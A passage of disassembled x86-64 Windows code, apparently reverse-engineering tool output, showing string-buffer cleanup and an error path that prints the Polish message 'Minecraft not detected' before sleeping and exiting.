mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [0x14000ab20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____Nie_wykryto_Minecrafta
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a40
lea rdx, [0x140006f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140007f44
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x140004be0
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004bdb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007f44
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.140007ee0
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret